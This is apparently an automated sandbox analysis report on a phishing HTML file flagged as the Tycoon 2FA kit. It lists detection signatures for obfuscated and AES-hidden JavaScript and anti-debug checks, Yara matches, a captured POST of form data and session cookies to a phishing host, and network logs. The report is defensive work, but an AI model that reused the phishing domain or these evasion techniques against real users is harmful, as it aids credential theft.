Edit tour

Windows Analysis Report
suspect.html

Overview

General Information

Sample name:	suspect.html
Analysis ID:	1641093
MD5:	f5e6efad87e2133a94def99abe16d5eb
SHA1:	6ec0edf8eadf07db4689b88ffd5d02fa5acf3b55
SHA256:	0ccb860546987aa19ef992a8002cb46a13cd87c1e008419165bbce48d7e630cb
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

HTML file submission requesting Cloudflare captcha challenge

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Detected javascript redirector / loader

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6908 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\suspect.html MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7112 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1892,i,9613019893938489976,16158350470171388402,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_109	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.2.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.2.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.9.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.6..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.1.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.11..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.11..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.16.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.19..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.22.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.22.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.24..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.23.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.23.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.7.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.7.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.5.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.7.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.6.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.6.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.5.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.6.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
3.29..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.29..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.27.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.33.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
3.30..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.30..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.34..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
3.9.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.9.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.9.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 43 entries

HTTP traffic detected: POST /soIJXNjMdD7eIx6CmpFVmuPAf6WwWoCYwrRyag HTTP/1.1Host: 3pz.bughtswo.comConnection: keep-aliveContent-Length: 775sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzxitO02XKJQjsAZysec-ch-ua-mobile: ?0Accept: */*Origin: https://3pz.bughtswo.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://3pz.bughtswo.com/admi/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImptVVVvS0cvT2RNT0xtM1dleWpGREE9PSIsInZhbHVlIjoiQVI3VG5kWjJKZUE1NThlakF5ZWVxREVxYkZoYTl3YXBXbkVKM3BVQmlONVh4RmIyanFsZHdxYW9OT1VwZ0F3SU9mLzJTYmJteloyOEFsNVRHUEU1eHlsNmhkdGQwa3N5Q1FZRjFLaXN6a094NkJ3SVZHeXNJUG9MbDRldUlHelAiLCJtYWMiOiIyNjA4MTFmMWMxMzI0NzkxNTllMGJmNzA4NDM3ZWUzZDY2YzVjMGVlZTE1YTNkOGFlNzMxMzViYTQ5NDI5N2UxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFubHVsZ1ZhcnU2RDIwUzFUdk5HZWc9PSIsInZhbHVlIjoieWQyY1U0bUNldXpDMm5PUDlOR1VXZHBHUTFLMU5PejNaRE5wYmM1a1k1UkZvbStYV3o4S09wb2s0Nk5oQ0NRcTRyVVFSaXhLWHFYVGpBaDN6T00zM1ZnZkFmc3dRKzY4L1pwSU1laDlrazYrRzM3Q0lHdG1TMHBXK2wzWTRpVmwiLCJtYWMiOiI5MWViNWE2NTIxYjMxYWVhMTczMGYyMTk0MmU0N2Q1Mzg5ODY4YTQwYTg3MTc1NjllYTRjMGI0NWIzZGQ5NzhmIiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 00:54:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BUIoZMPRG8vNPXrCaUHRFNpOxoO0llmdTlI9mVFobnQAOUWQnaXEQlVSnhAlaQmc5PjrqdLzlhpkoxEhnWwQp8nObmN2xhfYGOFErumcN6nGbNNZXiWmUrbruaLH"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=25508&min_rtt=25474&rtt_var=9577&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2049&delivery_rate=111800&cwnd=32&unsent_bytes=0&cid=877e04fe5b75827c&ts=203&x=0"Server: cloudflareCF-RAY: 9220c2f3f9ce424b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1895&min_rtt=1888&rtt_var=722&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1713&delivery_rate=1502057&cwnd=196&unsent_bytes=0&cid=9bf50957e8a4b790&ts=455&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 00:54:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: EXPIREDAge: 124Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sVzePvwRjXXlW0DtY2JbYIaIFED%2FFzH6NDzh%2BDJPERrqfPGrhYPYDYS%2Bl%2FyKAR2TueoQvBI8Hny2nXo9xIHspToLbZ1aCk3HlOSoHRaqV%2B6yPV%2Bpvznx8Ya%2B7jsh"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=25554&min_rtt=25484&rtt_var=9697&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2231&delivery_rate=109336&cwnd=32&unsent_bytes=0&cid=e06348e6ee44e26a&ts=45&x=0"Cache-Control: max-age=14400Server: cloudflareCF-RAY: 9220c2f7fd7eb89f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2846&min_rtt=2842&rtt_var=1069&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1895&delivery_rate=1027445&cwnd=239&unsent_bytes=0&cid=9f686fdc4399a650&ts=300&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 00:54:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w3JhBcvqOKOhlWS1PgWwqtauVvLf5cbPAHVtEYOT3g5C2gcIW4d%2BlayGptHy3T3U3uX07F8tA9Sa8xV7svZJae4ybmqo5w67fAJGOpO51GMr9D5MtViPSP3uv2b8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=26001&min_rtt=26000&rtt_var=9752&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2052&delivery_rate=109504&cwnd=32&unsent_bytes=0&cid=c5aa27dc89f54b0a&ts=202&x=0"Server: cloudflareCF-RAY: 9220c2fadc57566e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2089&min_rtt=2077&rtt_var=803&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1716&delivery_rate=1343764&cwnd=95&unsent_bytes=0&cid=9c8c0afe7265aaa8&ts=476&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 00:55:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U8VUuRb2jU156aiG%2F7YeVZhjSKP45Jt3JENULp4gBO8UdlTC3lvvcRtsdaXjIvAYSc4fciUjCEkq00VyFnEclnE0r6lfBDBIuDec0OVSmtHZsYYI%2FclkPDn2%2FzXS"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=25590&min_rtt=25568&rtt_var=7230&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2061&delivery_rate=110955&cwnd=32&unsent_bytes=0&cid=15a30ed7a6143bf6&ts=217&x=0"Server: cloudflareCF-RAY: 9220c31468fede92-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1590&min_rtt=1577&rtt_var=617&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1727&delivery_rate=1737061&cwnd=226&unsent_bytes=0&cid=c9b7c05d6c0b4fce&ts=478&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 00:55:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=USRuf0s1CZ4S0PBwdFn1KdjczBeiTGuaeY0uxaBVbfSIQhF612ZwPd2ogcLioNJ1B7KPfncQPmymRpVJfhfgmcDoPxHFZJWrBtaA2hPuhASm8EkZkl2MqunS9a95"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=27010&min_rtt=27006&rtt_var=10130&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2036&delivery_rate=105458&cwnd=32&unsent_bytes=0&cid=f3ed67058bf55a66&ts=190&x=0"Server: cloudflareCF-RAY: 9220c4447feb7095-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2456&min_rtt=2456&rtt_var=922&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1700&delivery_rate=1186509&cwnd=186&unsent_bytes=0&cid=9966a479b18e7c7a&ts=458&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 00:55:50 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mYpf7rwrS6WxSjb5a%2FAaQ7fOP444pmOxjYMdns8SSp7Whk9yGgndKYH7kH6IyFfD8NQqyrd6lpKGP3G7AKTI6ivOogr0keilWW0XX6WwiA%2FEtZLw9Hz%2F8MEptDkm"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=25550&min_rtt=25538&rtt_var=9600&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2045&delivery_rate=111102&cwnd=32&unsent_bytes=0&cid=2de27d735b533d03&ts=193&x=0"Server: cloudflareCF-RAY: 9220c44d789a5f83-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1658&min_rtt=1651&rtt_var=633&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1709&delivery_rate=1708601&cwnd=131&unsent_bytes=0&cid=30f25a8c383311a6&ts=458&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 00:55:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mwne5Su0y4ydr3uvn8IB7xuZVHCJ4bDJwK8gNKRjquTOMlycWxWu52tlazPnn8KDmta7S8lNFt4ezqatZ5FvrjBHqx%2F0AasoEi%2FpHaNsGwwFCJ%2BfyzHwHlf3L11G"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=25562&min_rtt=25552&rtt_var=9602&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2068&delivery_rate=111111&cwnd=32&unsent_bytes=0&cid=f8e3b3bd6f9ca9b4&ts=209&x=0"CF-RAY: 9220c461180433d5-EWRalt-svc: h3=":443"; ma=86400

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
